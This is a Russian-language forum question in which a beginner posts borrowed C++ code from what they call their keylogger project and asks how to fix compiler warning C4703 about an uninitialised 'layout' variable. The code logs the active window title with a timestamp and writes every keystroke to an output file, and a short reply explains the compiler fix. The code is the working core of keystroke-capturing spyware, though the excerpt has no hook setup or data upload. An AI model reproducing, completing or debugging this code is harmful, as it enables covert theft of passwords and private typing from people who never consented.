Ошибка C4703: потенциально неинициализированная переменная локального указателя 'layout' используется - PullRequest
0 голосов
/ 24 сентября 2019

Я новичок в C ++ и кодировании, и я = это код, который я позаимствовал онлайн, и смог решить другие проблемы, кроме этой, я думаю, это из-за оптимизации или из-за ошибки при написании кода, пожалуйста, помогите.

макет HKL, есть.

HWND foreground = GetForegroundWindow();
    DWORD threadID;
    HKL layout; // HERE
    if (foreground) {
        //get keyboard layout of the thread
        threadID = GetWindowThreadProcessId(foreground, NULL);
        layout = GetKeyboardLayout(threadID); // HERE
    }

if (foreground)
{
    char window_title[256];
    GetWindowText(foreground, window_title, 256);

    if(strcmp(window_title, lastwindow)!=0) {
        strcpy(lastwindow, window_title);

        // get time
        time_t t = time(NULL);
        struct tm *tm = localtime(&t);
        char s[64];
        strftime(s, sizeof(s), "%c", tm);

        OUTPUT_FILE << "\n\n[Window: "<< window_title << " - at " << s << "] ";
    }
}


std::cout << key_stroke << '\n';

if (key_stroke == VK_BACK)
    OUTPUT_FILE << "[BACKSPACE]";
else if (key_stroke == VK_RETURN)
    OUTPUT_FILE <<  "\n";
else if (key_stroke == VK_SPACE)
    OUTPUT_FILE << " ";
else if (key_stroke == VK_TAB)
    OUTPUT_FILE << "[TAB]";
else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
    OUTPUT_FILE << "[SHIFT]";
else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
    OUTPUT_FILE << "[CONTROL]";
else if (key_stroke == VK_ESCAPE)
    OUTPUT_FILE << "[ESCAPE]";
else if (key_stroke == VK_END)
    OUTPUT_FILE << "[END]";
else if (key_stroke == VK_HOME)
    OUTPUT_FILE << "[HOME]";
else if (key_stroke == VK_LEFT)
    OUTPUT_FILE << "[LEFT]";
else if (key_stroke == VK_UP)
    OUTPUT_FILE << "[UP]";
else if (key_stroke == VK_RIGHT)
    OUTPUT_FILE << "[RIGHT]";
else if (key_stroke == VK_DOWN)
    OUTPUT_FILE << "[DOWN]";
else if (key_stroke == 190 || key_stroke == 110)
    OUTPUT_FILE << ".";
else if (key_stroke == 189 || key_stroke == 109)
    OUTPUT_FILE << "-";
else if (key_stroke == 20)
    OUTPUT_FILE << "[CAPSLOCK]";
else {
    char key;
    // check caps lock
    bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

    // check shift key
    if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) {
        lowercase = !lowercase;   
    }

    //map virtual key according to keyboard layout 
    **key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout);**

    //tolower converts it to lowercase properly
    if (!lowercase) key = tolower(key);
    OUTPUT_FILE <<  char(key);

помочь решить этот код, уже определенный nullptr, сработал, но вывод показывает, в цифре, так как его мой проект кейлоггера не показывает фактические нажатия клавиш, только цифры.

1 Ответ

1 голос
/ 24 сентября 2019

Проблема в том, что макету присваивается только значение if.Вы должны добавить курсив, где он объявлен, чтобы убрать предупреждение, или другой, чтобы компилятор мог сделать вывод, что он не будет использоваться унитализированным.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...